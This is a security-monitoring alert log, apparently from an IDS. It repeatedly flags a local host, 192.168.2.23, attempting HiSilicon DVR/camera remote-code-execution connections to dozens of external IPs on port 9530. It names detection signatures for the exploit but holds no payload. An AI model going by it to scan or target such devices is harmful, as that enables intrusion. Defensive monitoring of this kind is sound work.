ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.243.2.35

Timestamp:	05/16/24-16:39:14.529714
SID:	2030488
Source Port:	34848
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.237.135.55

Timestamp:	05/16/24-16:38:55.226833
SID:	2030488
Source Port:	45086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.237.135.55

Timestamp:	05/16/24-16:38:55.226833
SID:	2030487
Source Port:	45086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.174.38.23

Timestamp:	05/16/24-16:38:57.305789
SID:	2030488
Source Port:	36824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.174.38.23

Timestamp:	05/16/24-16:38:57.305789
SID:	2030487
Source Port:	36824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.155.215.228

Timestamp:	05/16/24-16:38:53.099139
SID:	2030488
Source Port:	45326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.155.215.228

Timestamp:	05/16/24-16:38:53.099139
SID:	2030487
Source Port:	45326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.43.210.91

Timestamp:	05/16/24-16:39:05.713000
SID:	2030487
Source Port:	42672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.43.210.91

Timestamp:	05/16/24-16:39:05.713000
SID:	2030488
Source Port:	42672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.51.96.62

Timestamp:	05/16/24-16:39:08.124327
SID:	2030487
Source Port:	57824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.189.140.144

Timestamp:	05/16/24-16:38:57.305774
SID:	2030487
Source Port:	40688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.189.140.144

Timestamp:	05/16/24-16:38:57.305774
SID:	2030488
Source Port:	40688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.51.96.62

Timestamp:	05/16/24-16:39:08.124327
SID:	2030488
Source Port:	57824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.235.51.146

Timestamp:	05/16/24-16:39:05.707930
SID:	2030487
Source Port:	53740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.235.51.146

Timestamp:	05/16/24-16:39:05.707930
SID:	2030488
Source Port:	53740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.9.198.174

Timestamp:	05/16/24-16:39:14.524461
SID:	2030487
Source Port:	49040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.9.198.174

Timestamp:	05/16/24-16:39:14.524461
SID:	2030488
Source Port:	49040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.143.106.167

Timestamp:	05/16/24-16:38:55.177046
SID:	2030487
Source Port:	39044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.232.172.196

Timestamp:	05/16/24-16:39:03.275880
SID:	2030488
Source Port:	45754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.143.106.167

Timestamp:	05/16/24-16:38:55.177046
SID:	2030488
Source Port:	39044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.232.172.196

Timestamp:	05/16/24-16:39:03.275880
SID:	2030487
Source Port:	45754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.31.149.226

Timestamp:	05/16/24-16:39:14.492417
SID:	2030488
Source Port:	44742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.115.223.202

Timestamp:	05/16/24-16:39:12.408339
SID:	2030488
Source Port:	58812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.65.174.200

Timestamp:	05/16/24-16:39:03.277941
SID:	2030488
Source Port:	53770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.115.223.202

Timestamp:	05/16/24-16:39:12.408339
SID:	2030487
Source Port:	58812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.65.174.200

Timestamp:	05/16/24-16:39:03.277941
SID:	2030487
Source Port:	53770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.31.149.226

Timestamp:	05/16/24-16:39:14.492417
SID:	2030487
Source Port:	44742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.240.105.80

Timestamp:	05/16/24-16:39:05.694639
SID:	2030487
Source Port:	52948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.8.12.157

Timestamp:	05/16/24-16:38:57.411043
SID:	2030487
Source Port:	42194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.136.106.12

Timestamp:	05/16/24-16:38:57.303934
SID:	2030487
Source Port:	34122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.40.23.110

Timestamp:	05/16/24-16:39:08.127971
SID:	2030488
Source Port:	35824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.136.106.12

Timestamp:	05/16/24-16:38:57.303934
SID:	2030488
Source Port:	34122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.154.19.201

Timestamp:	05/16/24-16:39:05.675831
SID:	2030487
Source Port:	34936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.173.175.87

Timestamp:	05/16/24-16:38:50.047743
SID:	2030487
Source Port:	58474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.154.19.201

Timestamp:	05/16/24-16:39:05.675831
SID:	2030488
Source Port:	34936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.40.23.110

Timestamp:	05/16/24-16:39:08.127971
SID:	2030487
Source Port:	35824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.173.175.87

Timestamp:	05/16/24-16:38:50.047743
SID:	2030488
Source Port:	58474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.233.146.200

Timestamp:	05/16/24-16:38:50.065072
SID:	2030488
Source Port:	47916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.233.146.200

Timestamp:	05/16/24-16:38:50.065072
SID:	2030487
Source Port:	47916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.8.12.157

Timestamp:	05/16/24-16:38:57.411043
SID:	2030488
Source Port:	42194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.240.105.80

Timestamp:	05/16/24-16:39:05.694639
SID:	2030488
Source Port:	52948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.47.205.230

Timestamp:	05/16/24-16:38:50.047486
SID:	2030488
Source Port:	51008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.195.241.225

Timestamp:	05/16/24-16:39:12.401731
SID:	2030488
Source Port:	52210
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.195.241.225

Timestamp:	05/16/24-16:39:12.401731
SID:	2030487
Source Port:	52210
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.128.98.0

Timestamp:	05/16/24-16:39:08.127139
SID:	2030488
Source Port:	41774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.128.98.0

Timestamp:	05/16/24-16:39:08.127139
SID:	2030487
Source Port:	41774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.182.185.32

Timestamp:	05/16/24-16:39:05.693308
SID:	2030487
Source Port:	49808
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.182.185.32

Timestamp:	05/16/24-16:39:05.693308
SID:	2030488
Source Port:	49808
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.243.165.158

Timestamp:	05/16/24-16:39:16.579868
SID:	2030487
Source Port:	35586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.18.38.142

Timestamp:	05/16/24-16:39:12.402933
SID:	2030487
Source Port:	54468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.243.165.158

Timestamp:	05/16/24-16:39:16.579868
SID:	2030488
Source Port:	35586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.18.38.142

Timestamp:	05/16/24-16:39:12.402933
SID:	2030488
Source Port:	54468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.50.235.83

Timestamp:	05/16/24-16:38:53.066937
SID:	2030487
Source Port:	59378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.48.132.205

Timestamp:	05/16/24-16:39:02.746084
SID:	2030487
Source Port:	56422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.48.132.205

Timestamp:	05/16/24-16:39:02.746084
SID:	2030488
Source Port:	56422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.31.182.82

Timestamp:	05/16/24-16:39:12.304054
SID:	2030487
Source Port:	52064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.31.182.82

Timestamp:	05/16/24-16:39:12.304054
SID:	2030488
Source Port:	52064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.100.3.44

Timestamp:	05/16/24-16:39:16.610565
SID:	2030488
Source Port:	37446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.100.3.44

Timestamp:	05/16/24-16:39:16.610565
SID:	2030487
Source Port:	37446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.47.205.230

Timestamp:	05/16/24-16:38:50.047486
SID:	2030487
Source Port:	51008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.209.173.55

Timestamp:	05/16/24-16:39:05.694619
SID:	2030488
Source Port:	48978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.209.173.55

Timestamp:	05/16/24-16:39:05.694619
SID:	2030487
Source Port:	48978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.19.214.141

Timestamp:	05/16/24-16:39:16.579423
SID:	2030487
Source Port:	58260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.19.214.141

Timestamp:	05/16/24-16:39:16.579423
SID:	2030488
Source Port:	58260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.158.201.134

Timestamp:	05/16/24-16:39:05.699575
SID:	2030487
Source Port:	40892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.158.201.134

Timestamp:	05/16/24-16:39:05.699575
SID:	2030488
Source Port:	40892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.50.235.83

Timestamp:	05/16/24-16:38:53.066937
SID:	2030488
Source Port:	59378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.240.234.237

Timestamp:	05/16/24-16:39:05.700296
SID:	2030487
Source Port:	48450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.145.58.93

Timestamp:	05/16/24-16:39:03.281755
SID:	2030488
Source Port:	58640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.145.58.93

Timestamp:	05/16/24-16:39:03.281755
SID:	2030487
Source Port:	58640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.240.234.237

Timestamp:	05/16/24-16:39:05.700296
SID:	2030488
Source Port:	48450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.142.40.203

Timestamp:	05/16/24-16:38:55.193139
SID:	2030487
Source Port:	39666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.142.40.203

Timestamp:	05/16/24-16:38:55.193139
SID:	2030488
Source Port:	39666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.236.43.151

Timestamp:	05/16/24-16:39:08.044969
SID:	2030487
Source Port:	33660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.236.43.151

Timestamp:	05/16/24-16:39:08.044969
SID:	2030488
Source Port:	33660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.133.137.110

Timestamp:	05/16/24-16:38:55.231878
SID:	2030487
Source Port:	43756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.133.137.110

Timestamp:	05/16/24-16:38:55.231878
SID:	2030488
Source Port:	43756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.241.93.245

Timestamp:	05/16/24-16:38:57.425713
SID:	2030488
Source Port:	52254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.241.93.245

Timestamp:	05/16/24-16:38:57.425713
SID:	2030487
Source Port:	52254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.4.6.171

Timestamp:	05/16/24-16:38:57.431249
SID:	2030488
Source Port:	54562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.4.6.171

Timestamp:	05/16/24-16:38:57.431249
SID:	2030487
Source Port:	54562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.152.122.114

Timestamp:	05/16/24-16:39:02.767762
SID:	2030487
Source Port:	43298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.250.176.254

Timestamp:	05/16/24-16:39:16.614373
SID:	2030487
Source Port:	57494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.152.122.114

Timestamp:	05/16/24-16:39:02.767762
SID:	2030488
Source Port:	43298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.250.176.254

Timestamp:	05/16/24-16:39:16.614373
SID:	2030488
Source Port:	57494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.143.98.194

Timestamp:	05/16/24-16:38:57.408662
SID:	2030488
Source Port:	59740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.105.143.154

Timestamp:	05/16/24-16:38:59.557089
SID:	2030488
Source Port:	51374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.143.175.120

Timestamp:	05/16/24-16:39:16.600044
SID:	2030487
Source Port:	33290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.143.175.120

Timestamp:	05/16/24-16:39:16.600044
SID:	2030488
Source Port:	33290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.16.140.203

Timestamp:	05/16/24-16:39:12.298211
SID:	2030487
Source Port:	43238
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.16.140.203

Timestamp:	05/16/24-16:39:12.298211
SID:	2030488
Source Port:	43238
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.193.166.56

Timestamp:	05/16/24-16:38:55.199108
SID:	2030488
Source Port:	47788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.105.143.154

Timestamp:	05/16/24-16:38:59.557089
SID:	2030487
Source Port:	51374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.120.127.234

Timestamp:	05/16/24-16:38:50.046283
SID:	2030488
Source Port:	50656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.250.206.148

Timestamp:	05/16/24-16:39:14.494648
SID:	2030488
Source Port:	50752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.120.127.234

Timestamp:	05/16/24-16:38:50.046283
SID:	2030487
Source Port:	50656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.250.206.148

Timestamp:	05/16/24-16:39:14.494648
SID:	2030487
Source Port:	50752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.145.26.166

Timestamp:	05/16/24-16:38:55.226335
SID:	2030488
Source Port:	34754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.145.26.166

Timestamp:	05/16/24-16:38:55.226335
SID:	2030487
